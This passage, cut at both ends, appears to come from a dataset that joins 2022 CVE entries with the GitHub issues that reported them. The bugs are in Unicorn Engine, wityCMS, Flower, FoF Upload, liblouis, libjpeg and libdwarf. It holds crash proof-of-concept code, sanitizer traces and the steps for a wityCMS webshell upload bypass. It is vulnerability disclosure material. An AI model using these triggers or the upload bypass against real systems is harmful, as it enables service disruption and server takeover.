/* Initialize emulator in X86-64bit mode */
err = uc_open(0, UC_MODE_64, &uc);
if (err == UC_ERR_OK) {
printf("Failed on uc_open() with error returned: %u\n", err);
printf("%s\n", uc_strerror(err));
return -1;
}
if (err == UC_ERR_ARCH) {
printf("Failed on uc_open() with error returned: %u\n", err);
printf("%s\n", uc_strerror(err));
}
uc_close(uc);
return 0;
}
```
If we don't use `uc_close(uc)`, there will be a memory leak.
```shell
$ ./poc_test
Failed on uc_open() with error returned: 2
Invalid/unsupported architecture (UC_ERR_ARCH)
=================================================================
==22499==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 14720 byte(s) in 1 object(s) allocated from:
#0 0x7f2082fde037 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7f2081bddfce in uc_open /home/lys/Documents/my/unicorn/uc.c:236
#2 0x563051f0b278 in main /home/lys/Documents/unitest/poc_test.c:17
#3 0x7f20816a47ec in __libc_start_main ../csu/libc-start.c:332
SUMMARY: AddressSanitizer: 14720 byte(s) leaked in 1 allocation(s).
```
If we use `uc_close(uc)`, there will be a segmentation fault!
```shell
$ ./poc_test
Failed on uc_open() with error returned: 2
Invalid/unsupported architecture (UC_ERR_ARCH)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==22535==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000075d (pc 0x7f5eb03ee46b bp 0x7ffe556843e0 sp 0x7ffe556843c0 T0)
==22535==The signal is caused by a READ memory access.
==22535==Hint: address points to the zero page.
#0 0x7f5eb03ee46b in uc_close /home/lys/Documents/my/unicorn/uc.c:412
#1 0x5573d73fb32d in main /home/lys/Documents/unitest/poc_test.c:30
#2 0x7f5eafeb47ec in __libc_start_main ../csu/libc-start.c:332
#3 0x5573d73fb119 in _start (/home/lys/Documents/unitest/poc_test+0x1119)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lys/Documents/my/unicorn/uc.c:412 in uc_close
==22535==ABORTING
```
| Memory leaks caused by unexpected architecture in unicorn dev branch | https://api.github.com/repos/unicorn-engine/unicorn/issues/1586/comments | 1 | 2022-04-11T07:30:52Z | 2022-04-11T08:47:45Z | https://github.com/unicorn-engine/unicorn/issues/1586 | 1,199,517,328 | 1,586 | 3,701 |
CVE-2022-29694 | 2022-06-02T14:15:50.553 | Unicorn Engine v2.0.0-rc7 and below was discovered to contain a NULL pointer dereference via qemu_ram_free. | {
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"unicorn-engine",
"unicorn"
] | When we try to use `uc_mem_map` to apply for super large memory, memory allocation in HAV fails, but succeeds in GVA. This inconsistency leads to null pointer dereference in `us_ close` release about the ram block requested by `uc_mem_map`.
PoC
```c
int main(int argc, char **argv) {
uc_engine *uc;
uc_err err;
err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc);
if (err != UC_ERR_OK) {
printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err));
return -1;
}
err = uc_mem_map(uc, 0x0, 0xfffffffff000, UC_PROT_ALL);
if (err != UC_ERR_OK) {
printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err));
//return -1;
}
uc_close(uc);
return 0;
}
```
output
```shell
$ ./poc_test
AddressSanitizer:DEADLYSIGNAL
=================================================================
==36945==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f6f0c61dc5f bp 0x7ffd6adc9320 sp 0x7ffd6adc9310 T0)
==36945==The signal is caused by a WRITE memory access.
==36945==Hint: address points to the zero page.
#0 0x7f6f0c61dc5f in qemu_ram_free_x86_64 /home/lys/Documents/my/unicorn/qemu/exec.c:1133
#1 0x7f6f0c624483 in memory_region_destructor_ram /home/lys/Documents/my/unicorn/qemu/softmmu/memory.c:882
#2 0x7f6f0c62269f in memory_free_x86_64 /home/lys/Documents/my/unicorn/qemu/softmmu/memory.c:182
#3 0x7f6f0c6169da in release_common /home/lys/Documents/my/unicorn/qemu/unicorn_common.h:62
#4 0x7f6f0c616cd3 in x86_release /home/lys/Documents/my/unicorn/qemu/target/i386/unicorn.c:47
#5 0x7f6f0c60e4c5 in uc_close /home/lys/Documents/my/unicorn/uc.c:419
#6 0x55955d1423e1 in main /home/lys/Documents/unitest/poc_test.c:60
#7 0x7f6f0c0d47ec in __libc_start_main ../csu/libc-start.c:332
#8 0x55955d142129 in _start (/home/lys/Documents/unitest/poc_test+0x1129)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/lys/Documents/my/unicorn/qemu/exec.c:1133 in qemu_ram_free_x86_64
==36945==ABORTING
``` | Null pointer dereference in `qemu_ram_free` when HVA malloc fails | https://api.github.com/repos/unicorn-engine/unicorn/issues/1588/comments | 2 | 2022-04-12T12:06:38Z | 2022-04-16T17:18:22Z | https://github.com/unicorn-engine/unicorn/issues/1588 | 1,201,749,652 | 1,588 | 3,702 |
CVE-2022-29695 | 2022-06-02T14:15:50.600 | Unicorn Engine v2.0.0-rc7 contains memory leaks caused by an incomplete unicorn engine initialization. | {
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"unicorn-engine",
"unicorn"
] | Unicorn 2 provide a new API (`uc_ctl`) that allows host to modify the architecture and mode of the CPU. However, this api doesn't determine whether the architecture and mode are supported by unicorn. Further more, Unicorn did not judge the result of engine initialization at the design stage.
In other words, if we use unexpected architecture or mode to initialize unicorn engine, unicorn will alloc memory during initialization that will not be released.
```c
NICORN_EXPORT
uc_err uc_close(uc_engine *uc)
{
int i;
MemoryRegion *mr;
if (!uc->init_done) {
free(uc);
return UC_ERR_OK;
}
// Cleanup internally.
if (uc->release) {
uc->release(uc->tcg_ctx);
}
// ...
g_free(uc->l1_map);
free(uc);
return UC_ERR_OK;
}
```
Although `uc->init_done` is equal to zero, something is alloced in memory region such as `uc->l1_map`.
PoC
```c
#define ADDRESS 0x2000
#define SIZE 0x1000
#define MODE 1111
int main(int argc, char **argv) {
uc_engine *uc;
uc_err err;
err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc);
if (err != UC_ERR_OK) {
printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err));
return -1;
}
err = uc_ctl(uc, UC_CTL_CPU_MODEL, MODE);
if (err != UC_ERR_OK) {
printf("Failed on uc_ctl() with error returned: %u %s\n", err, uc_strerror(err));
return -1;
}
err = uc_mem_map(uc, ADDRESS, SIZE, UC_PROT_ALL);
if (err != UC_ERR_OK) {
printf("Failed on uc_mem_map() with error returned: %u %s\n", err, uc_strerror(err));
//return -1;
}
uc_close(uc);
return 0;
}
```
Debug info
```shell
$ ./poc_test
Failed on uc_mem_map() with error returned: 20 Insufficient resource (UC_ERR_RESOURCE)
=================================================================
==23530==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 65536 byte(s) in 1 object(s) allocated from:
#0 0x7f0372854037 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7f037145bfbc in g_malloc0 /home/lys/Documents/my/unicorn/glib_compat/gmem.c:139
#2 0x7f03714b6a6b in tcg_exec_init_x86_64 /home/lys/Documents/my/unicorn/qemu/accel/tcg/translate-all.c:1094
#3 0x7f03714584ba in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:53
#4 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214
#5 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010
#6 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30
#7 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332
Direct leak of 42504 byte(s) in 1 object(s) allocated from:
#0 0x7f0372853e8f in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x7f037145bf4e in g_malloc /home/lys/Documents/my/unicorn/glib_compat/gmem.c:93
#2 0x7f03714b69dc in tcg_exec_init_x86_64 /home/lys/Documents/my/unicorn/qemu/accel/tcg/translate-all.c:1085
#3 0x7f03714584ba in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:53
#4 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214
#5 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010
#6 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30
#7 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332
Direct leak of 160 byte(s) in 1 object(s) allocated from:
#0 0x7f0372853e8f in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x7f037145bf4e in g_malloc /home/lys/Documents/my/unicorn/glib_compat/gmem.c:93
#2 0x7f03714644d8 in memory_map_init /home/lys/Documents/my/unicorn/qemu/exec.c:1463
#3 0x7f0371464dae in cpu_exec_init_all_x86_64 /home/lys/Documents/my/unicorn/qemu/exec.c:1754
#4 0x7f037145848d in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:48
#5 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214
#6 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010
#7 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30
#8 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332
#...
SUMMARY: AddressSanitizer: 710422 byte(s) leaked in 27 allocation(s).
``` | Memory leaks caused by incomplete unicorn engine initialization. | https://api.github.com/repos/unicorn-engine/unicorn/issues/1595/comments | 1 | 2022-04-16T09:35:23Z | 2022-04-16T15:51:47Z | https://github.com/unicorn-engine/unicorn/issues/1595 | 1,206,067,823 | 1,595 | 3,703 |
CVE-2022-29725 | 2022-06-02T14:15:50.730 | An arbitrary file upload in the image upload component of wityCMS v0.6.2 allows attackers to execute arbitrary code via a crafted PHP file. | {
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"Exploit",
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] | github.com | [
"Creatiwity",
"wityCMS"
] | The server build environment is windows
After logging in to the background, click Settings, there is a file upload vulnerability in an ico image upload point, you can bypass the upload, upload the webshell through this point, and you can take down the server.
Vulnerability location：http://172.20.10.2:8082/0/admin/settings/general
1.Upload the shell file and capture the package。Modify Content-Type to image/ico, filename to .php and php followed by spaces to bypass
2.Although the response packet is 302, the file itself has been uploaded successfully。The uploaded file is located in the \upload\settings directory, named favicon.php
3.The connection is successful through the ice scorpion, and the server shell is obtained.
| There is a file upload vulnerability in the background settings page | https://api.github.com/repos/Creatiwity/wityCMS/issues/161/comments | 0 | 2022-04-22T05:27:54Z | 2023-04-16T18:06:53Z | https://github.com/Creatiwity/wityCMS/issues/161 | 1,211,839,865 | 161 | 3,704 |
CVE-2022-30034 | 2022-06-02T14:15:51.427 | Flower, a web UI for the Celery Python RPC framework, all versions as of 05-02-2022 is vulnerable to an OAuth authentication bypass. An attacker could then access the Flower API to discover and invoke arbitrary Celery RPC calls or deny service by shutting down Celery task nodes. | {
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] | Ref: <https://tprynn.github.io/2022/05/26/flower-vulns.html>
* Flower is unauthenticated by default and lacks CSRF protections
* Flower's OAuth support is vulnerable to a bypass allowing anyone to authenticate regardless of the `auth_regex` restriction
Due to a lack of response from the maintainer, these issues were publicly disclosed on 26 May 2022 along with a PR (#1216) | Security Vulnerabilities in Flower: OAuth Authentication Bypass and Lack of CSRF Protections (CVE-2022-30034) | https://api.github.com/repos/mher/flower/issues/1217/comments | 9 | 2022-05-26T18:33:06Z | 2022-09-14T12:10:20Z | https://github.com/mher/flower/issues/1217 | 1,249,909,526 | 1,217 | 3,705 |
CVE-2022-30999 | 2022-06-02T14:15:56.373 | FriendsofFlarum (FoF) Upload is an extension that handles file uploads intelligently for your forum. If FoF Upload prior to version 1.2.3 is configured to allow the uploading of SVG files ('image/svg+xml'), navigating directly to an SVG file URI could execute arbitrary Javascript code decided by an attacker. This Javascript code could include the execution of HTTP web requests to Flarum, or any other web service. This could allow data to be leaked by an authenticated Flarum user, or, possibly, for data to be modified maliciously. This issue has been patched with v1.2.3, which now sanitizes uploaded SVG files. As a workaround, remove the ability for users to upload SVG files through FoF Upload. | {
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] | github.com | [
"FriendsOfFlarum",
"upload"
] | - flagrow/upload extension version: 4.11
- flarum version: 0.1.0-beta.6
- Upload adapter causing issues: local
---
Uploading SVG images fails when they are opened by the image processor. I didn't test it but looking at the code I guess also uploading any image file other that png, jpeg or gif would fail.
I think the following lines should be changed:
src/Listeners/ProcessesImages.php:
```
--- a/src/Listeners/ProcessesImages.php
+++ b/src/Listeners/ProcessesImages.php
@@ -43,7 +43,7 @@ class ProcessesImages
protected function validateMime($mime)
{
- if (Str::startsWith($mime, 'image/')) {
+ if ($mime == 'image/jpeg' || $mime == 'image/png' || $mime == 'image/gif' || $mime == 'image/svg+xml') {
return true;
}
```
src/Processors/ImageProcessor.php:
```
--- a/src/Processors/ImageProcessor.php
+++ b/src/Processors/ImageProcessor.php
@@ -43,7 +43,8 @@ class ImageProcessor implements Processable
*/
public function process(File &$file, UploadedFile &$upload)
{
- if ($upload->getMimeType() != 'image/gif') {
+ $mimeType = $upload->getMimeType();
+ if ($mimeType == 'image/jpeg' || $mimeType == 'image/png') {
$image = (new ImageManager())->make($upload->getRealPath());
if ($this->settings->get('mustResize')) {
```
| uploading SVG images fails | https://api.github.com/repos/FriendsOfFlarum/upload/issues/68/comments | 9 | 2017-04-03T16:38:16Z | 2022-05-25T08:47:42Z | https://github.com/FriendsOfFlarum/upload/issues/68 | 218,992,171 | 68 | 3,706 |
CVE-2022-31783 | 2022-06-02T14:15:58.050 | Liblouis 3.21.0 has an out-of-bounds write in compileRule in compileTranslationTable.c, as demonstrated by lou_trace. | {
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"787"
] | 787 | https://github.com/liblouis/liblouis/issues/1214 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"liblouis",
"liblouis"
] | ## summary
Hello, I was testing my new fuzzer and found an invalid memory write in function compileRule, liblouis/compileTranslationTable.c:3744. Which can be triggered via lou_trace + ASan.
## step to reproduce
```
export CFLAGS="-fsanitize=address -g"
./autogen.sh && ./configure && make -j8
./tools/lou_trace $POC
```
## Environment
* ubuntu 22.04 (docker image),
* gcc 11.2.0
* liblouis latest commit 83c91359ee77cabd49d64392c18cb2635855515c
## ASAN report
```
poc1:24: warning: invalid UTF-8. Assuming Latin-1.
...
poc1:145: error: invalid 4-digit hexadecimal number
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3739596==ERROR: AddressSanitizer: SEGV on unknown address 0x630000015722 (pc 0x7f3962ff103a bp 0x7ffcbf6d48b0 sp 0x7ffcbf6c2180 T0)
==3739596==The signal is caused by a WRITE memory access.
#0 0x7f3962ff103a in compileRule /benchmark/liblouis/liblouis/compileTranslationTable.c:3744
#1 0x7f3962ff863a in compileFile /benchmark/liblouis/liblouis/compileTranslationTable.c:4660
#2 0x7f3962ff92b3 in compileTable /benchmark/liblouis/liblouis/compileTranslationTable.c:4777
#3 0x7f3962ffa6f2 in getTable /benchmark/liblouis/liblouis/compileTranslationTable.c:4949
#4 0x7f3962ff99b4 in _lou_getTable /benchmark/liblouis/liblouis/compileTranslationTable.c:4858
#5 0x7f3962ff9bf6 in lou_getTable /benchmark/liblouis/liblouis/compileTranslationTable.c:4870
#6 0x55643186bfb5 in main /benchmark/liblouis/tools/lou_trace.c:392
#7 0x7f3962dc3d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#8 0x7f3962dc3e3f in __libc_start_main_impl ../csu/libc-start.c:392
#9 0x556431868644 in _start (/benchmark/liblouis/tools/.libs/lou_trace+0x3644)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /benchmark/liblouis/liblouis/compileTranslationTable.c:3744 in compileRule
==3739596==ABORTING
```
## Credit
Han Zheng
[NCNIPC of China](http://www.nipc.org.cn/)
[Hexhive](http://hexhive.epfl.ch/)
## POC
[poc1.zip](https://github.com/liblouis/liblouis/files/8747661/poc1.zip)
| [BUG] invalid memory writes in compileRule, liblouis/compileTranslationTable.c:3744 | https://api.github.com/repos/liblouis/liblouis/issues/1214/comments | 4 | 2022-05-21T13:15:50Z | 2022-08-03T09:41:20Z | https://github.com/liblouis/liblouis/issues/1214 | 1,243,974,615 | 1,214 | 3,707 |
CVE-2022-31796 | 2022-06-02T14:15:58.153 | libjpeg 1.63 has a heap-based buffer over-read in HierarchicalBitmapRequester::FetchRegion in hierarchicalbitmaprequester.cpp because the MCU size can be different between allocation and use. | {
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"Third Party Advisory"
] | github.com | [
"thorfdbg",
"libjpeg"
] | There is a heap-overflow in HierarchicalBitmapRequester::FetchRegion in hierarchicalbitmaprequester.cpp.
reproduce steps:
1. unzip poc.zip
2. compile libjpeg with address sanitizer enabled
3. run jpeg ./poc /dev/null
poc
[poc.zip](https://github.com/thorfdbg/libjpeg/files/8759320/poc.zip)
stack trace
```
==2002399==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62d000008910 at pc 0x7ffb1603d490 bp 0x7ffe4780ec40 sp 0x7ffe4780e3e8
READ of size 32 at 0x62d000008910 thread T0
#0 0x7ffb1603d48f in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790
#1 0x5605adc723a9 in HierarchicalBitmapRequester::FetchRegion(int, Line const* const*, int*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/hierarchicalbitmaprequester.cpp:378
#2 0x5605adc7633a in HierarchicalBitmapRequester::ReconstructRegion(RectAngle<int> const&, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/hierarchicalbitmaprequester.cpp:732
#3 0x5605ad9819b5 in Image::ReconstructRegion(BitMapHook*, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/codestream/image.cpp:1111
#4 0x5605ad96a1e1 in JPEG::InternalDisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/interface/jpeg.cpp:721
#5 0x5605ad969ed1 in JPEG::DisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/interface/jpeg.cpp:699
#6 0x5605ad94d2d0 in Reconstruct(char const*, char const*, int, char const*, bool) /home/casper/targets/struct/libjpeg_th/asan/BUILD/cmd/reconstruct.cpp:320
#7 0x5605ad939ea9 in main /home/casper/targets/struct/libjpeg_th/asan/BUILD/cmd/main.cpp:747
#8 0x7ffb15a880b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#9 0x5605ad9369ad in _start (/home/casper/targets/struct/libjpeg_th/asan/fuzzrun/jpeg+0x459ad)
0x62d000008910 is located 0 bytes to the right of 34064-byte region [0x62d000000400,0x62d000008910)
allocated by thread T0 here:
#0 0x7ffb160af808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x5605ad95ff5c in Environ::CoreAllocMem(unsigned int, unsigned int) (/home/casper/targets/struct/libjpeg_th/asan/fuzzrun/jpeg+0x6ef5c)
#2 0x5605ad95eac4 in Environ::AllocMem(unsigned long) /home/casper/targets/struct/libjpeg_th/asan/BUILD/tools/environment.cpp:815
#3 0x5605adc67941 in LineLineAdapter::AllocateLine(unsigned char) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/linelineadapter.cpp:160
#4 0x5605adc674c5 in LineLineAdapter::GetNextLine(unsigned char) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/linelineadapter.cpp:130
#5 0x5605adc72cb0 in HierarchicalBitmapRequester::Pull8Lines(unsigned char) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/hierarchicalbitmaprequester.cpp:437
#6 0x5605adc761fd in HierarchicalBitmapRequester::ReconstructRegion(RectAngle<int> const&, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/control/hierarchicalbitmaprequester.cpp:729
#7 0x5605ad9819b5 in Image::ReconstructRegion(BitMapHook*, RectangleRequest const*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/codestream/image.cpp:1111
#8 0x5605ad96a1e1 in JPEG::InternalDisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/interface/jpeg.cpp:721
#9 0x5605ad969ed1 in JPEG::DisplayRectangle(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/asan/BUILD/interface/jpeg.cpp:699
#10 0x5605ad94d2d0 in Reconstruct(char const*, char const*, int, char const*, bool) /home/casper/targets/struct/libjpeg_th/asan/BUILD/cmd/reconstruct.cpp:320
#11 0x5605ad939ea9 in main /home/casper/targets/struct/libjpeg_th/asan/BUILD/cmd/main.cpp:747
#12 0x7ffb15a880b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:790 in __interceptor_memcpy
Shadow bytes around the buggy address:
0x0c5a7fff90d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff90e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff90f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c5a7fff9110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c5a7fff9120: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c5a7fff9170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2002399==ABORTING
``` | heap-overflow in HierarchicalBitmapRequester::FetchRegion | https://api.github.com/repos/thorfdbg/libjpeg/issues/71/comments | 6 | 2022-05-24T03:23:18Z | 2022-05-26T17:06:18Z | https://github.com/thorfdbg/libjpeg/issues/71 | 1,245,927,743 | 71 | 3,708 |
CVE-2022-32200 | 2022-06-02T14:16:01.167 | libdwarf 0.4.0 has a heap-based buffer over-read in _dwarf_check_string_valid in dwarf_util.c. | {
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] | github.com | [
"davea42",
"libdwarf-code"
] | There is a heap overflow in _dwarf_check_string_valid in dwarf_util.c. Depending on the usage of this library, this may cause code execution or deny of service.
reproduce steps:
1. compile libdwarf with address sanitizer
2. run dwarfdump with poc file
```
dwarfdump -vv -a ./poc
```
poc:
[poc.zip](https://github.com/davea42/libdwarf-code/files/8778140/poc.zip)
Address sanitizer output:
```
=================================================================
==1464907==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000015bb at pc 0x00000083fa88 bp 0x7fff18213420 sp 0x7fff18213418
READ of size 1 at 0x6060000015bb thread T0
#0 0x83fa87 in _dwarf_check_string_valid /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13
#1 0x70192c in _dwarf_internal_get_pubnames_like_data /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_global.c:560:19
#2 0x7e43be in dwarf_get_pubtypes /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_pubtypes.c:63:11
#3 0x637fa0 in print_types /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/print_types.c:90:13
#4 0x519257 in process_one_file /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:1242:16
#5 0x512ac7 in main /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:503:9
#6 0x7f1199de00b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42848d in _start (/home/casper/targets/struct/libdwarf/aflasan/fuzzrun/dwarfdump+0x42848d)
0x6060000015bb is located 0 bytes to the right of 59-byte region [0x606000001580,0x6060000015bb)
allocated by thread T0 here:
#0 0x4cd59f in malloc /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x870cd5 in elf_load_nolibelf_section /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_elfread.c:229:26
#2 0x4969e5 in vprintf /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1641:1
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13 in _dwarf_check_string_valid
Shadow bytes around the buggy address:
0x0c0c7fff8260: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0c0c7fff8270: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff8280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c7fff8290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff82a0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c0c7fff82b0: 00 00 00 00 00 00 00[03]fa fa fa fa fa fa fa fa
0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
``` | heap overflow in _dwarf_check_string_valid in dwarf_util.c | https://api.github.com/repos/davea42/libdwarf-code/issues/116/comments | 1 | 2022-05-26T10:00:03Z | 2022-05-29T17:00:35Z | https://github.com/davea42/libdwarf-code/issues/116 | 1,249,358,302 | 116 | 3,709 |
CVE-2022-32201 | 2022-06-02T14:16:01.213 | In libjpeg 1.63, there is a NULL pointer dereference in Component::SubXOf in component.hpp. | {
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"thorfdbg",
"libjpeg"
] | ## reproduce steps
1. compile libjpeg with address sanitizer
2. run `./jpeg ./poc /dev/null`
## poc
[poc.zip](https://github.com/thorfdbg/libjpeg/files/8798327/poc.zip)
## stack trace
```
=================================================================
==3114171==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000000c (pc 0x562098ed89e0 bp 0x7ffc18eca130 sp 0x7ffc18eca120 T0)
==3114171==The signal is caused by a READ memory access.
==3114171==Hint: address points to the zero page.
#0 0x562098ed89df in Component::SubXOf() const ../marker/component.hpp:145
#1 0x562098f2a796 in PredictiveScan::FindComponentDimensions() /home/casper/targets/struct/libjpeg_th/source/SRC/codestream/predictivescan.cpp:113
#2 0x562098f2b7b3 in LosslessScan::StartParseScan(ByteStream*, Checksum*, BufferCtrl*) /home/casper/targets/struct/libjpeg_th/source/SRC/codestream/losslessscan.cpp:111
#3 0x562098f61d3c in Scan::StartParseScan(ByteStream*, Checksum*, BufferCtrl*) /home/casper/targets/struct/libjpeg_th/source/SRC/marker/scan.cpp:981
#4 0x562098f553fe in Frame::StartParseScan(ByteStream*, Checksum*) /home/casper/targets/struct/libjpeg_th/source/SRC/marker/frame.cpp:847
#5 0x562098eda266 in JPEG::ReadInternal(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/source/SRC/interface/jpeg.cpp:296
#6 0x562098ed9779 in JPEG::Read(JPG_TagItem*) /home/casper/targets/struct/libjpeg_th/source/SRC/interface/jpeg.cpp:210
#7 0x562098ebed38 in Reconstruct(char const*, char const*, int, char const*, bool) /home/casper/targets/struct/libjpeg_th/source/SRC/cmd/reconstruct.cpp:121
#8 0x562098eacea9 in main /home/casper/targets/struct/libjpeg_th/source/SRC/cmd/main.cpp:747
#9 0x7fbacbbb3082 in __libc_start_main ../csu/libc-start.c:308
#10 0x562098ea99ad in _start (/home/casper/targets/struct/libjpeg_th/source/SRC/jpeg+0x459ad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV ../marker/component.hpp:145 in Component::SubXOf() const
==3114171==ABORTING
``` | null pointer dereference in Component::SubXOf in component.hpp | https://api.github.com/repos/thorfdbg/libjpeg/issues/73/comments | 2 | 2022-05-30T12:33:53Z | 2022-05-31T07:10:25Z | https://github.com/thorfdbg/libjpeg/issues/73 | 1,252,677,631 | 73 | 3,710 |
CVE-2022-32202 | 2022-06-02T14:16:01.253 | In libjpeg 1.63, there is a NULL pointer dereference in LineBuffer::FetchRegion in linebuffer.cpp. | {
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## stack trace
```
jpeg Copyright (C) 2012-2018 Thomas Richter, University of Stuttgart
and Accusoft
For license conditions, see README.license for details.
*** Warning -1038 in Tables::ParseTables, line 1386, file tables.cpp
*** Reason is: found invalid marker, probably a marker size is out of range
